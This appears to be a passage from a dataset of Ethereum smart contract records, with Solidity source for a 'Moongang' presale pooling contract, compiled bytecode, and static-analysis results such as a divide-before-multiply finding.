fffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16105558161073e565b610563565b610562610250565b5b50565b60006105706106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156105b2576105ab6106be565b90506105bb565b6105ba610250565b5b90565b600080823b905060008111915050919050565b6105d96106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561065d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806107fd6032913960400191505060405180910390fd5b61066561076d565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e80600081146106b9573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b9050805491505090565b6106f88161076f565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b90508181555050565b565b610778816105be565b6107cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180610865603b913960400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050818155505056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122041d5af90e23b2cfbe16b337692c47c7adfeb37d070f6f59b78a2bb19d34ad90a64736f6c63430006080033
{"success": true, "error": null, "results": {}}
1,783
0x529e322a80b04ad336297ac8bc40a5ba58273983
// Author : shift pragma solidity ^0.4.18; //--------- OpenZeppelin&#39;s Safe Math //Source : https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } //----------------------------------------------------- // ERC20 Interface: https://github.com/ethereum/EIPs/issues/20 contract ERC20 { function transfer(address _to, uint256 _value) public returns (bool success); function balanceOf(address _owner) public constant returns (uint256 balance); } /* This contract stores twice every key value in order to be able to redistribute funds when the bonus tokens are received (which is typically X months after the initial buy). */ contract Moongang { using SafeMath for uint256; modifier onlyOwner { require(msg.sender == owner); _; } modifier minAmountReached { //In reality, the correct amount is the amount + 1% require(this.balance >= SafeMath.div(SafeMath.mul(min_amount, 100), 99)); _; } modifier underMaxAmount { require(max_amount == 0 || this.balance <= max_amount); _; } //Constants of the contract uint256 constant FEE = 100; //1% fee //SafeMath.div(20, 3) = 6 uint256 constant FEE_DEV = 6; //15% on the 1% fee uint256 constant FEE_AUDIT = 12; //7.5% on the 1% fee address public owner; address constant public developer = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f; address constant public auditor = 0x63F7547Ac277ea0B52A0B060Be6af8C5904953aa; uint256 public individual_cap; //Variables subject to changes uint256 public max_amount; //0 means there is no limit uint256 public min_amount; //Store the amount of ETH deposited by each account. mapping (address => uint256) public balances; mapping (address => uint256) public balances_bonus; // Track whether the contract has bought the tokens yet. bool public bought_tokens; // Record ETH value of tokens currently held by contract. uint256 public contract_eth_value; uint256 public contract_eth_value_bonus; //Set by the owner in order to allow the withdrawal of bonus tokens. bool public bonus_received; //The address of the contact. address public sale; //Token address ERC20 public token; //Records the fees that have to be sent uint256 fees; //Set by the owner. Allows people to refund totally or partially. bool public allow_refunds; //The reduction of the allocation in % | example : 40 -> 40% reduction uint256 public percent_reduction; bool public owner_supplied_eth; bool public allow_contributions; //Internal functions function Moongang(uint256 max, uint256 min, uint256 cap) { /* Constructor */ owner = msg.sender; max_amount = SafeMath.div(SafeMath.mul(max, 100), 99); min_amount = min; individual_cap = cap; allow_contributions = true; } //Functions for the owner // Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract. function buy_the_tokens() onlyOwner minAmountReached underMaxAmount { //Avoids burning the funds require(!bought_tokens && sale != 0x0); //Record that the contract has bought the tokens. bought_tokens = true; //Sends the fee before so the contract_eth_value contains the correct balance uint256 dev_fee = SafeMath.div(fees, FEE_DEV); uint256 audit_fee = SafeMath.div(fees, FEE_AUDIT); owner.transfer(SafeMath.sub(SafeMath.sub(fees, dev_fee), audit_fee)); developer.transfer(dev_fee); auditor.transfer(audit_fee); //Record the amount of ETH sent as the contract&#39;s current value. contract_eth_value = this.balance; contract_eth_value_bonus = this.balance; // Transfer all the funds to the crowdsale address. sale.transfer(contract_eth_value); } function force_refund(address _to_refund) onlyOwner { require(!bought_tokens); uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[_to_refund], 100), 99); balances[_to_refund] = 0; balances_bonus[_to_refund] = 0; fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE)); _to_refund.transfer(eth_to_withdraw); } function force_partial_refund(address _to_refund) onlyOwner { require(bought_tokens && percent_reduction > 0); //Amount to refund is the amount minus the X% of the reduction //amount_to_refund = balance*X uint256 amount = SafeMath.div(SafeMath.mul(balances[_to_refund], percent_reduction), 100); balances[_to_refund] = SafeMath.sub(balances[_to_refund], amount); balances_bonus[_to_refund] = balances[_to_refund]; if (owner_supplied_eth) { //dev fees aren&#39;t refunded, only owner fees uint256 fee = amount.div(FEE).mul(percent_reduction).div(100); amount = amount.add(fee); } _to_refund.transfer(amount); } function set_sale_address(address _sale) onlyOwner { //Avoid mistake of putting 0x0 and can&#39;t change twice the sale address require(_sale != 0x0); sale = _sale; } function set_token_address(address _token) onlyOwner { require(_token != 0x0); token = ERC20(_token); } function set_bonus_received(bool _boolean) onlyOwner { bonus_received = _boolean; } function set_allow_refunds(bool _boolean) onlyOwner { /* In case, for some reasons, the project refunds the money */ allow_refunds = _boolean; } function set_allow_contributions(bool _boolean) onlyOwner { allow_contributions = _boolean; } function set_percent_reduction(uint256 _reduction) onlyOwner payable { require(bought_tokens && _reduction <= 100); percent_reduction = _reduction; if (msg.value > 0) { owner_supplied_eth = true; } //we substract by contract_eth_value*_reduction basically contract_eth_value = contract_eth_value.sub((contract_eth_value.mul(_reduction)).div(100)); contract_eth_value_bonus = contract_eth_value; } function change_individual_cap(uint256 _cap) onlyOwner { individual_cap = _cap; } function change_owner(address new_owner) onlyOwner { require(new_owner != 0x0); owner = new_owner; } function change_max_amount(uint256 _amount) onlyOwner { //ATTENTION! The new amount should be in wei //Use https://etherconverter.online/ max_amount = SafeMath.div(SafeMath.mul(_amount, 100), 99); } function change_min_amount(uint256 _amount) onlyOwner { //ATTENTION! The new amount should be in wei //Use https://etherconverter.online/ min_amount = _amount; } //Public functions // Allows any user to withdraw his tokens. function withdraw() { // Disallow withdraw if tokens haven&#39;t been bought yet. require(bought_tokens); uint256 contract_token_balance = token.balanceOf(address(this)); // Disallow token withdrawals if there are no tokens to withdraw. require(contract_token_balance != 0); uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], contract_token_balance), contract_eth_value); // Update the value of tokens currently held by the contract. contract_eth_value = SafeMath.sub(contract_eth_value, balances[msg.sender]); // Update the user&#39;s balance prior to sending to prevent recursive call. balances[msg.sender] = 0; // Send the funds. Throws on failure to prevent loss of funds. require(token.transfer(msg.sender, tokens_to_withdraw)); } function withdraw_bonus() { /* Special function to withdraw the bonus tokens after the 6 months lockup. bonus_received has to be set to true. */ require(bought_tokens && bonus_received); uint256 contract_token_balance = token.balanceOf(address(this)); require(contract_token_balance != 0); uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances_bonus[msg.sender], contract_token_balance), contract_eth_value_bonus); contract_eth_value_bonus = SafeMath.sub(contract_eth_value_bonus, balances_bonus[msg.sender]); balances_bonus[msg.sender] = 0; require(token.transfer(msg.sender, tokens_to_withdraw)); } // Allows any user to get his eth refunded before the purchase is made. function refund() { require(!bought_tokens && allow_refunds && percent_reduction == 0); //balance of contributor = contribution * 0.99 //so contribution = balance/0.99 uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], 100), 99); // Update the user&#39;s balance prior to sending ETH to prevent recursive call. balances[msg.sender] = 0; //Updates the balances_bonus too balances_bonus[msg.sender] = 0; //Updates the fees variable by substracting the refunded fee fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE)); // Return the user&#39;s funds. Throws on failure to prevent loss of funds. msg.sender.transfer(eth_to_withdraw); } //Allows any user to get a part of his ETH refunded, in proportion //to the % reduced of the allocation function partial_refund() { require(bought_tokens && percent_reduction > 0); //Amount to refund is the amount minus the X% of the reduction //amount_to_refund = balance*X uint256 amount = SafeMath.div(SafeMath.mul(balances[msg.sender], percent_reduction), 100); balances[msg.sender] = SafeMath.sub(balances[msg.sender], amount); balances_bonus[msg.sender] = balances[msg.sender]; if (owner_supplied_eth) { //dev fees aren&#39;t refunded, only owner fees uint256 fee = amount.div(FEE).mul(percent_reduction).div(100); amount = amount.add(fee); } msg.sender.transfer(amount); } // Default function. Called when a user sends ETH to the contract. function () payable underMaxAmount { require(!bought_tokens && allow_contributions); //1% fee is taken on the ETH uint256 fee = SafeMath.div(msg.value, FEE); fees = SafeMath.add(fees, fee); //Updates both of the balances balances[msg.sender] = SafeMath.add(balances[msg.sender], SafeMath.sub(msg.value, fee)); //Checks if the individual cap is respected //If it&#39;s not, changes are reverted require(individual_cap == 0 || balances[msg.sender] <= individual_cap); balances_bonus[msg.sender] = balances[msg.sender]; } }
0x6080604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630107a8df146103b857806303b918dc146103cf578063111485ef146103fe57806318af7021146104295780631a34fe811461046c5780631e4532f114610497578063223db315146104ee578063253c8bd41461051d57806327e235e31461056057806328b8e9cf146105b757806329d98a7b146105ce5780632fbfe951146105fb578063346f2eb714610628578063398f2648146106575780633ccfd60b146106845780633ec045a61461069b57806342263aa2146106f2578063590e1ae3146107355780636360fc3f1461074c578063666375e51461077b578063678f7033146107aa578063689f2456146107ca5780636954abee146107e15780636ad1fe02146108105780637036f9d91461086757806372a85604146108aa5780638d521149146108d55780638da5cb5b14610904578063a8644cd51461095b578063c34dd14114610986578063c42bb1e4146109b1578063ca4b208b146109dc578063ebc56eec14610a33578063f2bee03d14610a62578063fc0c546a14610aa5575b60008060025414806101e257506002543073ffffffffffffffffffffffffffffffffffffffff163111155b15156101ed57600080fd5b600660009054906101000a900460ff161580156102165750600e60019054906101000a900460ff165b151561022157600080fd5b61022c346064610afc565b905061023a600b5482610b17565b600b81905550610292600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461028d3484610b35565b610b17565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060015414806103275750600154600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b151561033257600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050005b3480156103c457600080fd5b506103cd610b4e565b005b3480156103db57600080fd5b506103e4610e89565b604051808215151515815260200191505060405180910390f35b34801561040a57600080fd5b50610413610e9c565b6040518082815260200191505060405180910390f35b34801561043557600080fd5b5061046a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea2565b005b34801561047857600080fd5b50610481611062565b6040518082815260200191505060405180910390f35b3480156104a357600080fd5b506104d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b3480156104fa57600080fd5b50610503611080565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611093565b005b34801561056c57600080fd5b506105a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611157565b6040518082815260200191505060405180910390f35b3480156105c357600080fd5b506105cc61116f565b005b3480156105da57600080fd5b506105f9600480360381019080803590602001909291905050506114b5565b005b34801561060757600080fd5b506106266004803603810190808035906020019092919050505061151a565b005b34801561063457600080fd5b5061065560048036038101908080351515906020019092919050505061157f565b005b34801561066357600080fd5b50610682600480360381019080803590602001909291905050506115f7565b005b34801561069057600080fd5b50610699611670565b005b3480156106a757600080fd5b506106b0611993565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106fe57600080fd5b50610733600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ab565b005b34801561074157600080fd5b5061074a611a70565b005b34801561075857600080fd5b50610761611bfa565b604051808215151515815260200191505060405180910390f35b34801561078757600080fd5b506107a8600480360381019080803515159060200190929190505050611c0d565b005b6107c860048036038101908080359060200190929190505050611c85565b005b3480156107d657600080fd5b506107df611d82565b005b3480156107ed57600080fd5b506107f6611fc7565b604051808215151515815260200191505060405180910390f35b34801561081c57600080fd5b50610825611fda565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561087357600080fd5b506108a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612000565b005b3480156108b657600080fd5b506108bf6122a1565b6040518082815260200191505060405180910390f35b3480156108e157600080fd5b506108ea6122a7565b604051808215151515815260200191505060405180910390f35b34801561091057600080fd5b506109196122ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561096757600080fd5b506109706122df565b6040518082815260200191505060405180910390f35b34801561099257600080fd5b5061099b6122e5565b6040518082815260200191505060405180910390f35b3480156109bd57600080fd5b506109c66122eb565b6040518082815260200191505060405180910390f35b3480156109e857600080fd5b506109f16122f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a3f57600080fd5b50610a60600480360381019080803515159060200190929190505050612309565b005b348015610a6e57600080fd5b50610aa3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612381565b005b348015610ab157600080fd5b50610aba612446565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000808284811515610b0a57fe5b0490508091505092915050565b6000808284019050838110151515610b2b57fe5b8091505092915050565b6000828211151515610b4357fe5b818303905092915050565b600080600660009054906101000a900460ff168015610b795750600960009054906101000a900460ff165b1515610b8457600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610c4157600080fd5b505af1158015610c55573d6000803e3d6000fd5b505050506040513d6020811015610c6b57600080fd5b8101908080519060200190929190505050915060008214151515610c8e57600080fd5b610ce2610cda600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461246c565b600854610afc565b9050610d2f600854600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b35565b6008819055506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d6020811015610e6957600080fd5b81019080805190602001909291905050501515610e8557600080fd5b5050565b600e60019054906101000a900460ff1681565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eff57600080fd5b600660009054906101000a900460ff16151515610f1b57600080fd5b610f6f610f68600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054606461246c565b6063610afc565b90506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611011600b5461100c836064610afc565b610b35565b600b819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561105d573d6000803e3d6000fd5b505050565b60025481565b60056020528060005260406000206000915090505481565b600c60009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110ee57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561111457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60046020528060005260406000206000915090505481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111cd57600080fd5b6111e46111dd600354606461246c565b6063610afc565b3073ffffffffffffffffffffffffffffffffffffffff16311015151561120957600080fd5b6000600254148061123357506002543073ffffffffffffffffffffffffffffffffffffffff163111155b151561123e57600080fd5b600660009054906101000a900460ff1615801561129457506000600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b151561129f57600080fd5b6001600660006101000a81548160ff0219169083151502179055506112c7600b546006610afc565b91506112d6600b54600c610afc565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611328611322600b5486610b35565b84610b35565b9081150290604051600060405180830381858888f19350505050158015611353573d6000803e3d6000fd5b5073ee06bddaffa56a303718de53a5bc347efbe4c68f73ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156113ae573d6000803e3d6000fd5b507363f7547ac277ea0b52a0b060be6af8c5904953aa73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611409573d6000803e3d6000fd5b503073ffffffffffffffffffffffffffffffffffffffff16316007819055503073ffffffffffffffffffffffffffffffffffffffff1631600881905550600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6007549081150290604051600060405180830381858888f193505050501580156114b0573d6000803e3d6000fd5b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151057600080fd5b8060018190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157557600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115da57600080fd5b80600960006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561165257600080fd5b61166761166082606461246c565b6063610afc565b60028190555050565b600080600660009054906101000a900460ff16151561168e57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561174b57600080fd5b505af115801561175f573d6000803e3d6000fd5b505050506040513d602081101561177557600080fd5b810190808051906020019092919050505091506000821415151561179857600080fd5b6117ec6117e4600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461246c565b600754610afc565b9050611839600754600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b35565b6007819055506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561194957600080fd5b505af115801561195d573d6000803e3d6000fd5b505050506040513d602081101561197357600080fd5b8101908080519060200190929190505050151561198f57600080fd5b5050565b7363f7547ac277ea0b52a0b060be6af8c5904953aa81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0657600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515611a2c57600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660009054906101000a900460ff16158015611a9b5750600c60009054906101000a900460ff165b8015611aa957506000600d54145b1515611ab457600080fd5b611b08611b01600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054606461246c565b6063610afc565b90506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611baa600b54611ba5836064610afc565b610b35565b600b819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bf6573d6000803e3d6000fd5b5050565b600660009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c6857600080fd5b80600e60016101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce057600080fd5b600660009054906101000a900460ff168015611cfd575060648111155b1515611d0857600080fd5b80600d819055506000341115611d34576001600e60006101000a81548160ff0219169083151502179055505b611d70611d5f6064611d518460075461246c90919063ffffffff16565b610afc90919063ffffffff16565b600754610b3590919063ffffffff16565b60078190555060075460088190555050565b600080600660009054906101000a900460ff168015611da357506000600d54115b1515611dae57600080fd5b611e03611dfc600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d5461246c565b6064610afc565b9150611e4e600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b35565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900460ff1615611f7c57611f646064611f56600d54611f48606487610afc90919063ffffffff16565b61246c90919063ffffffff16565b610afc90919063ffffffff16565b9050611f798183610b1790919063ffffffff16565b91505b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611fc2573d6000803e3d6000fd5b505050565b600e60009054906101000a900460ff1681565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561205e57600080fd5b600660009054906101000a900460ff16801561207c57506000600d54115b151561208757600080fd5b6120dc6120d5600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d5461246c565b6064610afc565b9150612127600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b35565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900460ff16156122555761223d606461222f600d54612221606487610afc90919063ffffffff16565b61246c90919063ffffffff16565b610afc90919063ffffffff16565b90506122528183610b1790919063ffffffff16565b91505b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561229b573d6000803e3d6000fd5b50505050565b60035481565b600960009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600d5481565b60075481565b73ee06bddaffa56a303718de53a5bc347efbe4c68f81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561236457600080fd5b80600c60006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123dc57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561240257600080fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600084141561248157600091506124a0565b828402905082848281151561249257fe5b0414151561249c57fe5b8091505b50929150505600a165627a7a72305820cfda121bb7b4ffb95a62515507832a0dfd78669775be10e0464072ac177574450029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,784
0x7d2037d68ff1962a9d275a4ebe91a37832f574a7
/** *Submitted for verification at Etherscan.io on 2021-10-28 */ pragma solidity 0.6.10; // SPDX-License-Identifier: UNLICENSED /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer 